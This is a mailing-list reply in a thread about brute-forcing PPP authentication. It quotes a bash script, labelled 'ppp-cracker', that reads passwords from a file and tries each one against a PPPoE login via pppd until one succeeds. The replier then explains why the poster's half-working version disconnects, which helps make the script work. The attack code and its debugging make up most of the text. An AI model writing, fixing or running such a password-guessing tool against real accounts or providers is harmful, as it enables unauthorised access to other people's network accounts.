Re: PPP authentication brute-force attack?

Matheus Michels wrote:

> This is exactly what I wanted. I made this little script based on yours:
>
> #!/bin/bash
>
> SETSID=/usr/bin/setsid
> PPPD=/usr/sbin/pppd
> PPPOE=/usr/sbin/pppoe
>
> PPPD_OPTIONS="noipdefault noauth default-asyncmap defaultroute hide-password 
> nodetach usepeerdns mtu 1492 mru 1492 noaccomp noccp nobsdcomp nodeflate nopcomp novj 
> novjccomp lcp-echo-interval 30 lcp-echo-failure 3 pap-max-authreq 2 pap-restart 3 
> maxconnect 5"
> PPPOE_OPTIONS="-I eth0"
>
> PASSWORDS=/home/matheus/pass.txt
>
> if test "$1" = "" ; then
>     echo "$0: Usage: ppp-cracker user">& 2
>     exit 1
> fi
>
> while read passwd; do
>    $SETSID $PPPD pty "$PPPOE $PPPOE_OPTIONS" $PPPD_OPTIONS user "$1" password 
> "$passwd"
>       if [ $? -eq 0 ]; then
>            echo "Found password: $passwd"
>            break
>       fi
> done < $PASSWORDS
>
>
> I've copied some parts from the adsl-start and adsl-connect scripts. Actually, the script
> is not functional yet. It authenticates and, some seconds later, 
exits with an input/output error.
> But I'm doing some changes based on the scripts shipped with RP-PPPOE 
and I'm almost getting the
> script to work.

We are setting maxconnect to 5 seconds, so our pppd closes the 
connection. If you don't want that, don't use the maxconnect parameter.

--
Zsolt

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